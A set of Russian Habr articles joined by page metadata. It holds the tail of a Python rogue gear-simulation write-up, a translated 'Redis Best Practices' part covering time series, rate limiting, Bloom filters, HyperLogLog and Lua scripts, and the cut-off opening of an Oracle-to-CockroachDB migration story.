LEFT_HANDS[2] = ('Наихудший кинжал', 10, 0, 0, 0, 0, 0) GLOVES = dict() GLOVES[1] = ('Безальтернативные перчатки', 1, 0, 0, 0, 0, 0) HEADS = dict() HEADS[1] = ('Безальтернативный шлем', 1, 0, 0, 0, 0, 0) CHESTS = dict() CHESTS[1] = ('Безальтернативный нагрудник', 1, 0, 0, 0, 0, 0) PANTS = dict() PANTS[1] = ('Безальтернативные поножи', 1, 0, 0, 0, 0, 0) BOOTS = dict() BOOTS[1] = ('Безальтернативные сапоги', 1, 0, 0, 0, 0, 0) ``` С таким набором будет **6** боёв (3 меча \* 2 кинжала \* 1 \* 1 \* 1 \* 1 \* 1). В топ-5 точно не должен попадать бой, где взят наихудший меч и наихудший кинжал. Ну и разумеется, на 1-м месте должна оказаться подборка с двумя сильнейшими клинками. Если поразмыслить, то для каждой подборки очевидно, на какое место она попадёт. Провёл тесты, ожидания оправдались. Вот визуализация исхода одного из тестов этого набора: ![image](https://habrastorage.org/r/w1560/webt/zg/_i/zp/zg_izpaduytv7ypjflofdbm2tdg.png) Далее я снизил до минимума разрыв в размерах бонусов, даваемых этими клинками, **с** 5000, 800, 20 и 4000, 10 **до** 5, 4, 3 и 2, 1 соответственно (в проекте этот набор размещён в файле «equipment\_obvious\_weak.py»). И здесь вдруг на первое место вышла комбинация сильнейшего меча и наихудшего кинжала. Более того, в одном из тестов два наилучших оружия внезапно оказались на последнем месте: ![image](https://habrastorage.org/r/w1560/webt/ae/ql/t2/aeqlt2_rmff3kmd9gmotvibtine.png) Как это понимать? Ожидания в очевидно правильной расстановке подборок остались неизменными, но вот **степень разницы** между ними значительно **снижена**. И теперь случайности в ходе боёв (соотношение промахов и попаданий, критических и некритических ударов и т.д.) приобрели решающее значение. Давайте проверим, насколько часто «дуэт топовых клинков» будет попадать не на первое место. Провёл 100 таких запусков (для этого я «строки запуска программы» обернул в цикл на 100 итераций и начал вести специальный лог для всей этой «суперсессии»). Вот визуализация результатов: ![image](https://habrastorage.org/r/w1560/webt/nz/oe/qu/nzoequlloochqmzvl6oybzepjay.png) Итак, результаты в нашей программе не всегда устойчивы (34% «правильных» исходов против 66% «неправильных»). Устойчивость результатов **прямо пропорциональна** разнице в значениях бонусов тестируемых вещей. Учитывая то, что разница в размере бонусов хороших вещей, которые имеет смысл тестировать, бывает слабо ощутима (как в «World of Warcraft»), результаты таких тестов будут относительно неустойчивы (нестабильны, непостоянны и т.д.). ЭТАП 5 — повышаем устойчивость результатов ------------------------------------------ Стараемся мыслить логически. **Намечаем критерий успеха:** «дуэт топовых клинков» должен попадать на первое место в 99% случаев. **Текущее положение:** 34% таких случаев. Если не менять принятый подход в принципе (переход от симуляции боёв для всех подборок к простому подсчёту характеристик, например), то остаётся изменить какой-то количественный параметр нашей модели. Например: * проводить не по одному бою для каждой подборки, а по несколько, затем записывать в лог среднее арифметическое, отбрасывать наилучшее и наихудшее и т.д. * проводить вообще по несколько тестовых сессий, а затем также брать «усреднённое» * удлинить сам бой с 1000 ударов до некого значения, которого будет достаточно, чтобы для очень приближенных по суммарному бонусу подборок результаты стали справедливыми Прежде всего мне показалась удачной идея с удлинением боя, ведь именно в этом месте и происходит всё то, что стало причиной удлинения этой статьи. Протестирую гипотезу о том, что удлинение боя с **1 000** до **10 000** ударов позволит повысить устойчивость результатов (для этого нужно установить в константу ATTACKS\_IN\_FIGHT значение 10000). И это так: ![image](https://habrastorage.org/r/w1560/webt/iq/il/rc/iqilrc6kulybrfs1apchkyyleik.png) Затем решил увеличить с **10 000** до **100 000** ударов, и это привело к стопроцентному успеху. После этого методом бинарного поиска начал подбирать количество ударов, которое выдало бы 99% удач, чтобы избавиться от чрезмерных вычислений. Остановился на 46 875. ![image](https://habrastorage.org/r/w1560/webt/qg/oz/gx/qgozgxod9pupmsmzlloagt3hs2g.png) Если моя оценка в 99% надёжности системы с такой длиной боя верна, тогда два теста подряд сводят вероятность ошибки к 0.01 \* 0.01 = **0.0001**. И теперь, если запустить тест с боем в 46 875 ударов для набора экипировки на 1728 боёв, то это заберёт 233 секунды и вселит уверенность в то, что «Меч Мастера» рулит: **итоги 1728 боёв по 46 875 ударов** ``` сессия длилась: 233.89 сек. #1 - 13643508 урона нанесено с: Меч Мастера Меч Мастера Перчатки Прыткости Капюшон Ловкача Мундир Ловкача Поножи Ловкача Сапоги Тишины #2 - 13581310 урона нанесено с: Меч Мастера Меч Мастера Перчатки Прыткости Капюшон Ловкача Мундир Ловкача Поножи Ловкача Сапоги Кровавой мести #3 - 13494544 урона нанесено с: Меч Ловкача Меч Мастера Перчатки Прыткости Капюшон Ловкача Мундир Ловкача Поножи Ловкача Сапоги Тишины #4 - 13473820 урона нанесено с: Меч Мастера Меч Ловкача Перчатки Прыткости Капюшон Ловкача Мундир Ловкача Поножи Ловкача Сапоги Кровавой мести #5 - 13450956 урона нанесено с: Меч Мастера Меч Ловкача Перчатки Прыткости Капюшон Ловкача Мундир Ловкача Поножи Ловкача Сапоги Тишины ``` P.S. И это легко объяснить: два «Меча Мастера» позволяют добрать 10 единиц мастерства, что согласно заложенной механике исключает вероятность скользящих ударов, а это добавляет примерно 40% ударов, когда наносится Х или 2Х урона вместо 0.7Х. Результат аналогичного теста для фанатов «WoW»: **итоги 1296 боёв по 46 875 ударов (wow classic preraid)** ``` сессия длилась: 174.58 сек. #1 - 19950930 урона нанесено с: Священный заряд Дал'Ренда Племенной страж Дал'Ренда Костяные когти Скула Личина Ликана Трупная броня Поножи девизавра Лапы Жуткого волка #2 - 19830324 урона нанесено с: Священный заряд Дал'Ренда Племенной страж Дал'Ренда Рукавицы девизавра Личина Ликана Трупная броня Поножи девизавра Лапы Жуткого волка #3 - 19681971 урона нанесено с: Священный заряд Дал'Ренда Племенной страж Дал'Ренда Костяные когти Скула Призрачный покров Трупная броня Поножи девизавра Лапы Жуткого волка #4 - 19614600 урона нанесено с: Священный заряд Дал'Ренда Племенной страж Дал'Ренда Рукавицы девизавра Призрачный покров Трупная броня Поножи девизавра Лапы Жуткого волка #5 - 19474463 урона нанесено с: Священный заряд Дал'Ренда Племенной страж Дал'Ренда Костяные когти Скула Личина Ликана Трупная броня Поножи девизавра Мангустовые сапоги ``` Итоги ----- 1. Очевидный недостаток этой модели — комбинаторный взрыв. Например, если добавить ещё одни перчатки к этому набору, то боёв уже потребуется 4 \* 4 \* 3 \* 3 \* 3 \* 3 \* 2 = **2592**, т.е. на 33% больше. Примерно на столько же вырастут затраты времени. 2. Но выход есть: за счёт того, что бои сессии не зависят друг от друга и от порядка их проведения, вычисления можно вести параллельно, а результаты сводить в общий лог по мере готовности. 3. Разумеется, анализ результатов можно усовершенствовать: оценивать частоту появления вещей в верхней половине списка, за счёт этого вывести ТОП самих вещей и, как следствие, даже вывести ТОП характеристик. Весь код проекта я выложил на [**гитхабе**](https://github.com/andreaskosten/rogue_combinatorics). Уважаемое сообщество, буду рад обратной связи по этой теме. UPD от 08.04.2020: Благодаря комментариям [Deerenaros](https://habr.com/ru/users/deerenaros/), [knotri](https://habr.com/ru/users/knotri/) и [Griboks](https://habr.com/ru/users/griboks/) понял, что вместо симуляции тысяч боёв можно посчитать математическое ожидание для одного удара и на этой основе ранжировать экипировку. Выкинул из кода всё связанное с боями, вместо функции **simulate\_fight** сделал **calculate\_expectation**. На выходе результаты получаю такие же. Добавил в репозиторий получившийся [**код**](https://github.com/andreaskosten/rogue_combinatorics/blob/master/main_approach_with_expectations.py).
https://habr.com/ru/post/495774/
null
ru
null
# Redis Best Practices, часть 3 Заключительный перевод разделов [Redis Best Practices](https://redislabs.com/redis-best-practices/) с официального сайта «Redis Labs». Самое необычное и интересное сегодня под катом! ![](https://habrastorage.org/r/w1560/webt/hr/6y/f5/hr6yf5w1hp0fh-i5vfa0p1pxeuy.png) Первая часть находится [здесь](https://habr.com/ru/post/485672/). А вторая [здесь](https://habr.com/ru/post/487570/). Данная статья содержит следующие темы: * временные последовательности на сортированных множествах; * временные последовательности на лексикографически сортированных множествах; * временные последовательности на битовых полях; * базовый паттерн ограничения пропускной способности; * фильтр Блума; * счётчик; * паттерн подсчёта битов; * HyperLogLog; * Lua-скрипты. Данные временных последовательностей ------------------------------------ Данные временных последовательностей, или данные с естественным временным порядком, могут быть смоделированы в Redis несколькими способами в зависимости от самих данных и желаемого вами способа доступа к ним. Мы рассмотрим несколько таких паттернов: * временные последовательности на сортированных множествах; * временные последовательности на лексикографически сортированных множествах; * временные последовательности на битовых полях; ### Временные последовательности на сортированных множествах Временные последовательности на сортированных множествах (zsets) – типичный способ моделирования временной последовательности в Redis. Сортированные множества состоят из уникальных объектов, счета (scores) которых хранятся под одним ключом. Использование этого типа данных для сортированных множеств означает, что счёт ведёт себя как своего рода указатель времени (зачастую это отметка времени с точностью до миллисекунды), а элемент – записываемые данные. Единственная выгода заключается в том, что, поскольку это форма множества, допускаются только уникальные элементы, и попытка записать временные последовательности с одинаковыми значениями лишь обновит счёт. Чтобы проиллюстрировать эту проблему возьмём следующий пример периодической записи температуры: | Временная метка | Температура, C | | --- | --- | | 1586697976001 | 21 | | 1586697977001 | 22 | | 1586697978001 | 21 | Если просто добавить их в сортированное множество, используя ZADD, можно потерять некоторые значения: АНТИ-ПАТТЕРН ``` > ZADD temperature 1586697976001 21 (integer) 1 > ZADD temperature 1586697977001 22 (integer) 1 > ZADD temperature 1586697978001 21 (integer) 0 > ZRANGEBYSCORE temperature -inf +inf WITHSCORES 1) "22" 2) "1586697977001" 3) "21" 4) "1586697978001" ``` Обратите внимание, что третий вызов ZADD возвращает 0, что говорит о том, что новый элемент не был добавлен ко множеству. Затем в ZRANGEBYSCORE мы видим, что в сортированном множестве лишь две записи. Почему? Потому что первая и третья делят один и тот же объект, и мы просто обновили счёт у этого объекта. Есть несколько способов обхода этой проблемы. Один из них – включить какие-то случайные данные с достаточным разбросом, обеспечив тем самым уникальность. Для начала создадим псевдослучайное вещественное число от 0 до 1 не включительно, затем добавим его к нашей временной метке. В нашем примере мы оставим его в десятичной форме для читабельности (в реальности разумней будет просто конвертировать в 8-байтовую строку для экономии пространства). ``` > ZADD temperature2 1586697976001 21:1586697976001.2583 (integer) 1 > ZADD temperature2 1586697977001 22:1586697977001.941678 (integer) 1 > ZADD temperature2 1586697978001 21:1586697978001.732015 (integer) 1 > ZRANGEBYSCORE temperature2 -inf +inf WITHSCORES 1) "21:1586697976001.2583" 2) "1511533205001" 3) "22:1586697977001.941678" 4) "1586697977001" 5) "21:1586697978001.732015" 6) "1586697978001" ``` Как видите, все ZADD вернули 1, обозначая успешное добавление, и ZRANGEBYSCORE вернул все значения. Это рабочий метод, однако, это не очень эффективно из-за траты байтов для обеспечения уникальности, что добавляет накладных расходов хранилищу. В большинстве случаев уникальность будет просто отметаться вашим приложением. Следует отметить, что добавление уникальности не потребуется, если ваши данные будут уже уникальными (например, данные, включающие UUID). С этим методом у вас есть доступ ко всем методам сортированных множеств для анализа и управления: * ZRANGEBYSCORE позволяет получить определённый срез между двумя временными метками (ZREVRANGEBYSCORE вернёт срез в убывающем порядке); * ZREMRANGEBYSCORE позволяет удалить определённые диапазон временных меток; * ZCOUNT – количество элементов между диапазоном временных меток; * ZINTERSTORE – позволяет получить пересечение двух порций данных и сохранить это под новым ключом; * ZUNIONSTORE – позволяет получить объединение двух порций данных и тоже сохранить это под новым ключом. Можно также это использовать для дубликации сортированного множества. ZINTERSTORE и ZUNIONSTORE операции, работающие с несколькими ключами. При работе с разделяемым окружением нужно быть осторожным, проверять, что ваш новый ключ окажется в том же сегменте, иначе эти команды приведут к ошибке. ### Временные последовательности на лексикографически сортированных множествах Другой способ работы с временными последовательностями – использование лексикографических свойств сортированных множеств, чтобы хранить временную метку и значение. Если вы ещё не знакомы с этим, то самое время прочитать [этот раздел](https://redis.io/topics/data-types-intro#lexicographical-scores). При этом методе мы храним всё с тем же самым счётом и кодируем сначала временную метку, затем добавляем значение в качестве элемента. Возьмём пример: ``` > ZADD lex-temperature 0 1589392163001:21 (integer) 1 > ZADD lex-temperature 0 1589392164001:22 (integer) 1 > ZADD lex-temperature 0 1589392165001:21 (integer) 1 > ZRANGE lex-temperature 0 -1 1) "1589392163001:21" 2) "1589392164001:22" 3) "1589392165001:21" ``` В этих трёх вызовах ZADD временная метка отделена от значения двоеточием, и мы можем увидеть, что каждый раз возвращается 1, что означает, что все три были добавлены. В ZRANGE мы видим сохранённый порядок. Почему? В сортированных множествах, если счёт одинаков, результаты с тем же счётом упорядочены бинарной сортировкой. Так как временные метки в данный период имеют то же количество цифр, все будут отсортированы правильно (если ваши временные метки находятся до 2002 или после 2285, вам понадобятся ещё цифры для заполнения). Чтобы получить диапазон значений из этого типа, используйте команду ZRANGEBYLEX: ``` > ZRANGEBYLEX lex-temperature (1511533200001 + 1) "1589392163001:21" 2) "1589392164001:22" 3) "1589392165001:21" ``` Второй аргумент имеет префикс (, указывающий на исключительность значения (включительность обозначается [). На практике такой формат делает включительность и исключительность нерелевантной, так как за временной меткой всегда будут следовать дополнительные данные. Третий аргумент + указывает на неограниченность верхней границы. Попытаемся получить дату между 1589392160001 и 1589392165001 включительно: ``` > ZRANGEBYLEX lex-temperature [1589392160001 [1589392165001 1) "1589392163001:21" 2) "1589392164001:22" ``` Почему данные по временной метке 1589392165001 не попали в выборку, несмотря на включительный префикс? Хочется верить, что Redis как-то понимает, что это временная метка. На деле же Redis просто видит бинарную сортировку. В бинарной сортировке 1589392165001:21 больше, чем 1589392165001 включительно или исключительно. Корректный способ включить это в верхнюю границу – добавить 1 миллисекунду к нужной верхней границе и использовать исключительность: ``` > ZRANGEBYLEX lex-temperature [1589392160001 (1589392165002 1) "1589392163001:21" 2) "1589392164001:22" 3) "1589392165001:21" ``` У временных последовательностей с лексикографически сортированными множествами есть похожий набор полезных команд, как у временных последовательностей с просто сортированными множествами: * ZRANGEBYLEX / ZREVRANGEBYLEX – получает диапазон значений по возрастанию или убыванию; * ZREMRANGEBYLEX – удаляет конкретный сортированный диапазон значений; * ZLEXCOUNT – получает количество элементов в сортированном диапазоне значений. ZINTERSTORE и ZUNIONSTORE можно использовать на лексикографически сортированных множествах, однако есть риск потери данных, поскольку дублирующиеся комбинации временных меток и значений не будут дублироваться в возвращаемом результате. Вы можете задаться вопросом, зачем выбирать сортированные множества с временными метками вместо кодирования лексикографически сортированных множеств. Как правило лучше работать с лексикографически сортированными множествами для временных последовательностей – если значения не будут всегда уникальными, временные метки будут более эффективны. ### Временные последовательности на битовых полях Redis может эффективно хранить временные последовательности в битовых полях. Для этого нужно сначала выбрать произвольную точку отсчёта и числовой формат. Возьмём пример с измерением температуры. Предположим, мы хотим брать температуру каждую минуту, и точкой отсчёта мы сделаем полночь каждого дня. Мы измеряем температуру в помещении в градусах Цельсия. Можно структурировать данные следующим образом: * 0 минута = байт 0; * температура записывается в 8-битное беззнаковое число (0-255). За день наберётся данных примерно на 1.44 кб. Записать температуру можно командой BITFIELD: ``` > BITFIELD bit-ts SET u8 #0 22 1) (integer) 0 ``` В этом случае по ключу bit-ts в беззнаковое 8-битное число (u8) в полночь (#0) записывается значение температуры 22. Битовые поля не ограничены беззнаковыми 8-битными значениями. Обратите внимание на знак решётки перед смещением (offset). Он означает, что будет происходить выравнивание по выбранному типу. Например, если вы укажете "#79" – это будет означать 79й байт, «79» – 79й бит (см. справку по BITFIELD). Смещение может быть выровнено по типу сохранённого числа, начиная от 0. Например, если мы хотим записать 1 a.m, учитывая нулевые слоты, мы используем смещение #59 или смещение #719 для полудня. ``` > BITFIELD bit-ts SET u8 #59 23 SET u8 #719 25 1) (integer) 0 2) (integer) 0 ``` Пример также показывает, что BITFIELD вариативен, т.е. можно работать с несколькими значениями в одном вызове. Добавим ещё несколько значений: ``` > BITFIELD bit-ts SET u8 #60 21 SET u8 #61 20 1) (integer) 0 2) (integer) 0 ``` И теперь извлечём: ``` > BITFIELD bit-ts GET u8 #59 GET u8 #60 GET u8 #61 1) (integer) 23 2) (integer) 21 3) (integer) 20 ``` Сигнатура битовой подкоманды GET похожа на сигнатуру SET с той лишь разницей, что она не принимает третьим аргументом значение. Нормально, когда мы знаем все индексы, которые надо получить, но иногда нам нужен диапазон значений, и обозначать каждый байт по отдельности будет слишком напряжно. Мы можем использовать команду GETRANGE. В нормальной ситуации она используется для получения байтов из строки, но BITFIELDы – просто другой способ адресации тех же данных. ``` > GETRANGE bit-ts 59 61 "\x17\x15\x14" ``` Команда вернула байты с 59 по 61 в шестнадцатеричном виде (23, 21 и 20 в десятичной. Клиентские языки обрабатывают двоичные данные лучше, чем «redis-cli», и обычно могут получить специфичный для языка массив байтов. В нашем примере мы использовали байты 0, 59-61 и 719. Что будет, если мы запросим байты, которые ещё не заданы? ``` > BITFIELD bit-ts GET u8 #40 1) (integer) 0 > BITFIELD bit-ts GET u8 #750 1) (integer) 0 > GETRANGE bit-ts 30 50 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ``` Redis отдаёт незаданные байты как 0. Это может вызвать затруднения при работе с данными временных последовательностей – логике приложения нужно отличать 0 и неустановленное значение. Возможны округления и пропуски значений 0, особенно при использовании целых чисел со знаком, поскольку это может быть допустимым значением в середине вашего диапазона. Реальная длина временной последовательности на самом деле зависит от последнего байта. В примере последний сохранённый байт – 719, поэтому длина данных 720 байтов. ``` > STRLEN bit-ts (integer) 720 ``` Временные последовательности основанные на BITFIELD – мощный и компактный паттерн для хранения числовых или двоичных данных. Однако, это решение не покрывает всех вариантов использования, и его использование должно быть тщательно обдумано на соответствие вашим потребностям. Базовый паттерн ограничения пропускной способности -------------------------------------------------- Создать ограничитель пропускной способности с Redis легко, благодаря наличию команд INCR и EXPIRE. Идея в том, что вы хотите ограничивать запросы к определённому сервису в заданный промежуток времени. Допустим, у нас есть сервис, в котором пользователи идентифицируются по ключу API. В сервисе действует ограничение на 20 запросов в минуту. Для реализации этого мы хотим создавать каждую минуту ключ Redis на ключ API. Чтобы не захламлять базу данных, время действия ключа устанавливаем также в 1 минуту. Ключ API – zA21X31, жирный шрифт – лимит достигнут: | | | | | | | | --- | --- | --- | --- | --- | --- | | Ключ Redis | zA21X31:0 | zA21X31:1 | **zA21X31:2** | zA21X31:3 | **zA21X31:4** | | Значение | 3 | 8 | **20** | 2 | **20** | | Истекает в | 12:02 | 12:03 | **12:04** | 12:05 | **12:06** | | Время | 12:00 | 12:01 | **12:02** | 12:03 | **12:04** | Ключ составляется из ключа API и номера минуты через двоеточие. Так как время действия ключей всегда истекает, нам достаточно использовать только номера минут – с наступлением нового часа можно быть уверенным, что других 59 ключей уже нет (они истекли 59 минут назад). Рассмотрим, как это работает: 1. ``` > GET [ключ API]:[номер минуты] ``` 2. Если результат меньше 20 или не установлен, переходим к шагу 4, иначе к шагу 3; 3. Вывести сообщение об ошибке, закрыть соединение и завершить; 4. ``` > MULTI OK > INCR [user-api-key]:[current minute number] QUEUED > EXPIRE [user-api-key]:[current minute number] 59 QUEUED > EXEC OK ``` 5. Продолжить выполнение программы. Два ключевых момента: * INCR на несуществующем ключе всегда будет 1; * EXPIRE находится внутри транзакции MULTI вместе с INCR, что означает, что это будет одна атомарная операция. Худший сценарий – если по какой-то очень странной и маловероятной причине сервер Redis умирает между INCR и EXPIRE. При восстановлении данных либо из AOF, либо из in-memory реплики, INCR не будет восстановлен, так как транзакция не была выполнена. При использовании этого паттерна возможна ситуация, когда у одного пользователя окажется два ключа: один, который используется в настоящий момент, и другой, время действия которого истекает в эту минуту. Тем не менее паттерн очень эффективен. Фильтр Блума ------------ Фильтр Блума – интересная вероятностная структура данных, которую можно использовать, чтобы проверить, не был ли элемент добавлен ранее. Здесь намеренно такая формулировка. Вероятностность в том, что может быть только ложноположительное срабатывание, но не ложноотрицательное. Фильтр Блума предоставляет намного более компактный и быстрый способ проверить наличие, чем сохранять все элементы во множество и вызовать SISMEMBER. Фильтр Блума работает, пропуская элемент через функцию быстрого хэширования, отбирая из него биты и устанавливая их в 1 и 0 через определённый интервал в битовом поле. Чтобы проверить наличие в фильтре, отбираются одинаковые биты. У многих элементов могут быть биты, которые перекрываются, но, так как хэш-функция создаёт уникальные идентификаторы, если один бит из хэша всё ещё равен 0, тогда мы знаем, что он не был добавлен ранее. Фильтр используется в Redis много лет как клиентская библиотека, которая использует GETBIT и SETBIT для работы с битовыми полями. К счастью, с версии Redis 4.0 доступен модуль ReBloom, который избавляет от создания собственной реализацию фильтра Блума. Хороший вариант использования для этого фильтра – проверка, было ли уже использовано имя пользователя. На малых размерах данных проблем нет, но по мере роста сервиса запросы к базе данных могут дорого стоить. Это легко исправить с ReBloom. Добавим несколько имён для теста: ``` > BF.ADD usernames funnyfred (integer) 1 > BF.ADD usernames fredisfunny (integer) 1 > BF.ADD usernames fred (integer) 1 > BF.ADD usernames funfred (integer) 1 ``` Теперь протестируем фильтр Блума: ``` > BF.EXISTS usernames fred (integer) 1 > BF.EXISTS usernames fred_is_funny (integer) 0 ``` Как и ожидалось, *fred\_is\_funny* вернул 0. Это означает, что такое имя не было использовано. Хотя нельзя сказать наверняка, поскольку биты могут просто перекрыться между несколькими элементами. В основном шанс ложноположительного срабатывания низкий, но не равен 0. По мере заполнения фильтра Блума шанс возрастает, но можно настроить частоту ошибок и начальный размер (по умолчанию 0.01 и 100 соответственно). Счётчик ------- Счётчик в Redis можно реализовать несколькими способами. Наиболее очевидный – INCR со товарищи (INCRBY, INCRBYFLOAT, HINCRBY, HINCRBYFLOAT, ZINCRBY), применение которым можно найти, просто прочтя документацию. Менее очевидные – использование BITCOUNT и PFADD. ### Паттерн подсчёта битов BITCOUNT считает число битов, установленных в 1 в битовом поле по ключу. Это можно использовать для подсчёта серии активностей в течение произвольного периода времени (наподобие паттерну временных последовательностей на битовых полях). Процесс заключается в выборе момента времени, и каждый бит представляет единицу периода. Каждый раз, когда в течение этого периода совершается действие, запускаем SETBIT на расстоянии в 1 единицу от последней точки. | 12:00 | 12:02 | 12:03 | 12:04 | | --- | --- | --- | --- | | | ``` > SETBIT btct 2 1 ``` | ``` > SETBIT btct 3 1 ``` | ``` > SETBIT btct 4 1 ``` | | [точка отсчёта] | Действие | Действие | Действие | Вычислить, в какие минуты с 12:00 по 12:30 происходила активность, можно так: ``` > BITCOUNT btct 0 30 (integer) 3 ``` В целом, этот паттерн отвечает на вопрос “Как часто?”, а не “Сколько раз?”. Например, пользователь мог быть активным 20 раз в течение одной минуты, но это засчитается как 1. Реальным преимуществом этого шаблона является то, что он обеспечивает минимально возможный счёт в течение определённого периода времени, поскольку биты являются самыми элементарными строительными блоками хранения. Это буквально наименьшее (несжатое) хранилище для подсчета. ### HyperLogLog Подсчёт уникальных элементов может оказаться непростым. Обычно это означает сохранение каждого уникального элемента, а затем вызов этой информации каким-то образом. В Redis это можно сделать, используя множество и одну команду, однако, и занимаемый объём, и временная сложность этого будут очень велики. HyperLogLog предоставляет вероятностную альтернативу. HyperLogLog внутренне похож на фильтр Блума, также подаёт элементы через некриптографическую хэш-функцию и устанавливает биты в битовом поле. Но, в отличие от фильтра Блума, HyperLogLog хранит счётчик элементов, который инкрементируется, когда добавляется новый элемент, не добавленный ранее. Это даёт низкий уровень ошибок при подсчёте уникальных элементов в множестве. HyperLogLog встроен прямо в Redis. Существует 3 команды HyperLogLog в Redis: PFADD, PFCOUNT и PFMERGE. Допустим, мы создаём веб-сканер и хотим подсчитывать количество уникальных URL страниц, просмотренных в течение дня. Для каждой страницы запустим следующую команду: ``` > PFADD crawled:20200613 "http://www.google.com/" (integer) 1 > PFADD crawled:20200613 "http://www.redislabs.com/" (integer) 1 > PFADD crawled:20200613 "http://www.redis.io/" (integer) 1 > PFADD crawled:20200614 "http://www.redisearch.io/" (integer) 1 > PFADD crawled:20200614 "http://www.redis.io/" (integer) 1 ``` Каждый ключ выше индексируется по дням. Посмотреть, сколько страниц было просмотрено 13.06.2020, можно так: ``` > PFCOUNT crawled:20200613 (integer) 3 ``` Для просмотра количества страниц за 13.06.2020 и 14.06.2020, используем команду PFMERGE, чтобы создать новый ключ со значением, объединяющим два счётчика. Обратите внимание, что, так как *[www.redis.io](http://www.redis.io)* хранится в обоих множествах, подсчитан он будет единожды: ``` > PFMERGE crawled:20200613-14 crawled:20200613 crawled:20200614 OK > PFCOUNT crawled:20200613-14 (integer) 4 ``` Это операция может работать с несколькими ключами, поэтому будьте осторожны в разделённом окружении, дабы ключи оказались на одном шарде. Lua-скрипты ----------- Redis может делать изумительные вещи просто из «redis-cli» и ещё больше между Redis и вашим языком программирования. Но иногда может потребоваться поведение, которого нельзя получить в клиент-серверной архитектуре из-за вопросов эффективности или безопасности – логику нужно выполнить в слое базы данных. В таких случаях на помощь приходит Lua. Lua работает в Redis как скриптовый язык. С ним можно выполнять код в Redis, без затрат на транспорт до и от клиента. Тестовый пример – добавление значения к хэш-полю. В то время как Redis может легко добавлять значение к строковому ключу при помощи APPEND, нет команды для добавления значения к хэш-полю. Можно попытаться получить это, извлекая значение клиентом, добавляя новую строку к значению и сбросывая хэш-поля, но это плохая идея. Так как это неатомарно, есть вероятность, что пока вы добавляете значение, другой клиент может изменить его раньше, и тогда вы перезапишете новое значение. | # | Клиент 1 | Клиент 2 | | --- | --- | --- | | 1 | ``` > HGET myhash myfield ``` [возвращается «hello»] | | | 2 | [добавляет «world» к «hello»] | ``` > HSET myhash myfield "goodbye" ``` | | 3 | ``` > HSET myhash myfield "hello world" ``` | | | 4 | | ``` > HGET myhash myfield ``` | Как можно видеть на строке 2, обновление будет утеряно. Можно использовать Lua-скрипты, чтобы обойти эту проблему и убрать расходы на отправку/получение значений с клиента. В любом текстовом редакторе создадим скрипт и назовём это *happened.lua*: ``` local original = redis.call('HGET',KEYS[1],ARGV[1]) return redis.call('HSET',KEYS[1], ARGV[1], original .. ARGV[2]) ``` В первой строке создаём локальную переменную *original*, в которую сохраним текущее значение ключа хэша из первого переданного аргумента, а поле является первым неключевым аргументом. Важно понимать, что Lua-скрипты во время выполнения делают различия между ключами и неключевыми аргументами. На второй строке вызывается HSET для того же ключа и поля, затем объединяем оригинальное значение со вторым неключевым аргументом. Это возвращается обратно в Redis, поэтому мы сохраним оригинальное возвращаемое значение HSET. Непосредственное выполнение Lua-скриптов командой EVAL может быть запутанным и неэффективным. В Redis есть встроенный кэш скриптов, который позволяет предзагрузить скрипт, затем обратиться к нему по SHA1-хэшу из основного скрипта. Загрузить этот скрипт из командной строки можно с помощью «cat» и «redis-cli». Обратите внимание, если ваш скрипт будет отличаться хотя бы на один символ, у него будет совсем другой хэш. ``` $ redis-cli -a yourRedisPassword SCRIPT LOAD "$(cat ./happend.lua)" "d30c7f6d0c23fcfe6d4630b11f4e3db4cb2db099" ``` Сейчас можно использовать EVALSHA, чтобы вызвать скрипт и сделать добавление: ``` > HSET mynewhash greeting "Hello" (integer) 1 > EVALSHA d30c7f6d0c23fcfe6d4630b11f4e3db4cb2db099 1 mynewhash greeting " world" (integer) 0 > HGET mynewhash greeting "Hello world" ``` Первый аргумент команды EVALSHA – хэш скрипта, созданного SCRIPT LOAD. Второй аргумент – количество ключей. В нашем случае ключ один. Третий аргумент – ключ, над которым выполняем действие. И наконец четвёртый – значение, которое добавляем к полю. Поскольку добавление происходит внутри Lua-скрипта, сценарий выше прервётся, так как Lua-скрипты выполняются синхронно и атомарно. Хоть Lua может быть очень полезным при решении проблем, использовать его нужно осторожно. Скрипт блокирует сервер и может привести к не отвечающей базе данных. В ситуациях с шардингом скрипты пытаются сохранить все операции на одном сервере, чтобы избежать перекрёстных ошибок. На этом раздел «Redis Best Practices» заканчивается. Не бойтесь пробовать и экспериментировать, Redis очень богата на функциональность. Оставляйте в комментариях свои интересные варианты использования. Надеюсь, описанные техники помогут вам если и не напрямую, то хотя бы наведением на верный путь к решению задач!
https://habr.com/ru/post/506594/
null
ru
null
# Как мы мигрировали критичную БД с Oracle в CockroachDB ### … простите, мигрировали куда? Туда! CockroachDB — PostgreSQL-совместимая (по SQL-синтаксису DML) распределенная СУБД с открытым кодом (ну, почти). Ее название символизирует, что она, как таракан, выживает в любых экстремальных ситуациях. Лично мне крайне импонирует такая СУБД с привычным SQL-интерфейсом, настройка которой занимает 5 минут, которая хранит данные — как Kafka — на нескольких узлах в нескольких ЦОДах сразу, имеет настраиваемый replication factor на уровне конкретных таблиц, легко переживает потерю как одного узла, так и целого ЦОДа, использует для этого механизм распределенного консенсуса Raft и при этом еще и имеет строгую консистентность и уровень изоляции serializable. Разработчики CockroachDB — выходцы из компании Google, которые решили коммерциализировать архитектуру распределенной СУБД Spanner. ![](https://habrastorage.org/r/w780q1/webt/ia/2g/of/ia2gofqktfta9409wgdvs-hphoq.jpeg) Недостатки тоже есть, не переживайте, но про них лучше в другой раз :) Почему именно CockroachDB? -------------------------- Среди распределенных SQL-СУБД есть альтернативы в виде Yugabyte и TiDB, и с прошлого месяца YDB. Вопрос «Почему?» связан в первую очередь с тем, зачем вообще нужна БД. Как мне кажется, БД нужна для того, чтобы надежно хранить данные и доставать их через стандартный язык SQL, а удобство ее использования — приятный, но вторичный фактор. Тут надо заметить, что я почти 9 лет проработал в техподдержке Oracle, и видел достаточно случаев порчи БД, как из-за дисковых сбоев и ошибок администраторов, так и из-за багов в приложении и даже в коде самой СУБД. Ключевыми критериями выбора были: * многократно проверенный движок хранения данных. В CockroachDB используется RocksDB, в остальных — неизвестно кем, как и сколько тестированные альтернативы; * регулярное тестирование тестом [Jepsen](https://jepsen.io/) в рамках сборки релиза на наличие проблем безопасного хранения данных в распределенной БД. CockroachDB успешно прошли этот этап еще 5 лет назад; * совместимость с PostgreSQL для того, чтобы быстро мигрировать туда в случае серьезных проблем. TiDB совместимо с MySQL, YugaByte с Postgres, YDB пока что 